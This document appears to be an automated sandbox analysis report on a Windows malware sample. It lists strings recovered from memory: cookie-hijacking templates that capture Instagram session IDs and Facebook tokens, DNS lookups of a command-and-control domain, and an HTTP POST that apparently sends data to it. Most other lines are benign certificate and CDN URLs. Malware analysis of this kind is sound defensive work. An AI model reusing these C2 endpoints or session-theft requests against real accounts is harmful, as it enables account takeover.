Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/connect/ping?client_id=124024574287414&domain=www.instagram.com&origin=1&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F1e2RywyANNe.js%3Fversion%3D42%23cb%3Df19f2d8a0dd2f24%26domain%3Dwww.instagram.com%26origin%3Dhttps%253A%252F%252Fwww.instagram.com%252Ff2dc055ae1b1274%26relation%3Dparent&response_type=token%2Csigned_request%2Ccode&sdk=joey&version=v2.2&access_token=&expires_in=Location: query_instagram_cookie.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: token = %s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F&state=%7B%22fbLoginKey%22%3A%221l3a6gcoxzmx9bogry41n78unr193ooptzd1bmk8ggfxw5bdph1%22%2C%22fbLoginReturnURL%22%3A%22%2F%22%7D&scope=email&response_type=code%2Cgranted_scopes equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F&state=%7B%22fbLoginKey%22%3A%221l3a6gcoxzmx9bogry41n78unr193ooptzd1bmk8ggfxw5bdph1%22%2C%22fbLoginReturnURL%22%3A%22%2F%22%7D&scope=email&response_type=code%2Cgranted_scopesLocation: equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F&state=%7B%22fbLoginKey%22%3A%221l3a6gcoxzmx9bogry41n78unr193ooptzd1bmk8ggfxw5bdph1%22%2C%22fbLoginReturnURL%22%3A%22%2F%22%7D&scope=email&response_type=code%2Cgranted_scopesocation: equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/login/async_sso/messenger_dot_com/?__a=1 equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/login/async_sso/messenger_dot_com/?__a=1x-auth-result: query_mess_cookie.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: x_auth_result = %s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/payments/settings/payment_methods/index.php?__a=1 equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/x/oauth/status?client_id=124024574287414&input_token&origin=1&redirect_uri= equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/x/oauth/status?client_id=124024574287414&input_token&origin=1&redirect_uri=origin: https://www.instagram.comsec-fetch-mode: corsreferer: https://www.instagram.com/sec-fetch-site: cross-sitefb-ar: equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/accounts/login/ajax/facebook/ equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: x-csrftoken: xhttps://www.instagram.com/accounts/login/ajax/facebook/"userId": "sessionid="";sessionid=;query_instagram_cookie.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: sessionid = %s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: x-csrftoken: xhttps://www.instagram.com/accounts/login/ajax/facebook/"userId": "sessionid="";sessionid=;query_instagram_cookie_20191224.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: sessionid = %s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: x-csrftoken: xhttps://www.instagram.com/accounts/login/ajax/facebook/"userId": "sessionid="";sessionid=;query_instagram_cookie_20200229.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: sessionid = %s equals www.facebook.com (Facebook)

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: 84cfba021a5a6662.xyz

Posts data to webserver

Source: unknown

HTTP traffic detected: POST //fine/send HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 84Host: 84cfba021a5a6662.xyz

Urls found in memory or binary data

Source: 6852B33702F6B3BD.exe, 00000005.00000002.289422992.0000000000848000.00000004.00000020.sdmp	String found in binary or memory: http://84CFBA021A5A6662.xyz/g
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383740567.0000000003CA0000.00000004.00000001.sdmp	String found in binary or memory: http://84CFBA021A5A6662.xyz/info_old/ddd
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383740567.0000000003CA0000.00000004.00000001.sdmp	String found in binary or memory: http://84CFBA021A5A6662.xyz/info_old/g
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383740567.0000000003CA0000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.289445112.0000000000865000.00000004.00000020.sdmp	String found in binary or memory: http://84CFBA021A5A6662.xyz/info_old/w
Source: 6852B33702F6B3BD.exe, 00000005.00000002.289445112.0000000000865000.00000004.00000020.sdmp	String found in binary or memory: http://84CFBA021A5A6662.xyz/info_old/w%
Source: FileSetup-v17.04.41.exe, 00000001.00000002.261142777.0000000000811000.00000004.00000020.sdmp	String found in binary or memory: http://84CFBA021A5A6662.xyz/info_old/w&
Source: 6852B33702F6B3BD.exe, 00000005.00000002.289494170.0000000000893000.00000004.00000020.sdmp	String found in binary or memory: http://84CFBA021A5A6662.xyz/info_old/wN
Source: 6852B33702F6B3BD.exe, 00000005.00000002.289422992.0000000000848000.00000004.00000020.sdmp	String found in binary or memory: http://84CFBA021A5A6662.xyz/xet(
Source: FileSetup-v17.04.41.exe, 00000001.00000002.261158287.000000000081C000.00000004.00000020.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.289422992.0000000000848000.00000004.00000020.sdmp	String found in binary or memory: http://84cfba021a5a6662.xyz/
Source: FileSetup-v17.04.41.exe, 00000001.00000002.261158287.000000000081C000.00000004.00000020.sdmp	String found in binary or memory: http://84cfba021a5a6662.xyz/i
Source: FileSetup-v17.04.41.exe, 00000001.00000002.261142777.0000000000811000.00000004.00000020.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.289422992.0000000000848000.00000004.00000020.sdmp	String found in binary or memory: http://84cfba021a5a6662.xyz/info_old/w
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383694906.0000000003CBF000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeIns3)
Source: 6852B33702F6B3BD.exe, 00000004.00000003.305023752.0000000003CBF000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: 6852B33702F6B3BD.exe, 00000004.00000003.305023752.0000000003CBF000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe0)
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertECCSecureServerCA.crt0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceCodeSigningCA.crt0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSecureSiteECCCA-1.crt0
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: http://clients2.google.com/service/update2/crx
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: http://clients2.google.com/service/update2/crxE&
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://config.i.duba.net/lminstall/%d.json?time=%d
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://config.i.duba.net/lminstall/%d.json?time=%dcheckinstallSOFTWARE
Source: 1611946678493.exe.4.dr	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: 1611946678493.exe.4.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: 1611946678493.exe.4.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl.pki.goog/GTS1O1core.crl0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl.pki.goog/GTSGIAG3.crl0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl.pki.goog/gsr2/gsr2.crl0?
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0O
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertSecureSiteECCCA-1.crl0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-ha-cs-g1.crl00
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/sha2-ha-server-g6.crl04
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/ssca-ecc-g1.crl0.
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/ssca-sha2-g6.crl0/
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertSecureSiteECCCA-1.crl0L
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-ha-cs-g1.crl0L
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g6.crl0L
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl4.digicert.com/ssca-ecc-g1.crl0L
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://crl4.digicert.com/ssca-sha2-g6.crl0L
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html#
Source: 6852B33702F6B3BD.exe	String found in binary or memory: http://docs.google.com/
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383784768.0000000002227000.00000004.00000040.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: 6852B33702F6B3BD.exe	String found in binary or memory: http://drive.google.com/
Source: 6852B33702F6B3BD.exe, 00000004.00000003.304868433.0000000003CBF000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyuliQ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzjSw3?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB16g6qc?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17milU?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB18T33l?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19x3nX?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xCDZ?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xGDT?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xMWp?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xaUu?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xssM?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xzm6?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yF6n?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yFoT?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yuvA?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yxVU?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB7hjL?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBO5Geh?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBVuddh?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBX2afX?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBi9v6?m=6&o=true&u=true&n=true&w=30&h=30
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnYSFZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://infoc0.duba.net/c/
Source: 1611946678493.exe.4.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.digicert.com0:
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.digicert.com0B
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.digicert.com0E
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.digicert.com0F
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.digicert.com0K
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.digicert.com0M
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0P
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0R
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.msocsp.com0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.pki.goog/GTSGIAG30
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.pki.goog/gsr202
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://ocsp.pki.goog/gts1o1core0
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0#
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0M
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://pki.goog/gsr2/GTSGIAG3.crt0)
Source: download_engine.dll.4.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: download_engine.dll.4.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 6852B33702F6B3BD.exe, 00000004.00000003.304868433.0000000003CBF000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://sf.symcd.com0&
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-2923b6c2/directio
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-f8dd99d9/directio
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyuliQ.img?h=16&w=16&m
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzjSw3.img?h=16&w=16&m
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB16g6qc.img?h=27&w=27&
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17milU.img?h=16&w=16&
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB18T33l.img?h=333&w=31
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19x3nX.img?h=166&w=31
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xCDZ.img?h=75&w=100
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xGDT.img?h=166&w=31
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xMWp.img?h=75&w=100
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xaUu.img?h=166&w=31
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xssM.img?h=75&w=100
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xzm6.img?h=250&w=30
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yF6n.img?h=333&w=31
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yFoT.img?h=75&w=100
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yuvA.img?h=250&w=30
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yxVU.img?h=166&w=31
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7hjL.img?h=16&w=16&m=
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBO5Geh.img?h=16&w=16&m
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBi9v6.img?m=6&o=true&u
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnYSFZ.img?h=16&w=16&m
Source: MiniThunderPlatform.exe.4.dr	String found in binary or memory: http://store.paycenter.uc.cn
Source: MiniThunderPlatform.exe.4.dr	String found in binary or memory: http://store.paycenter.uc.cnmail-attachment.googleusercontent.com
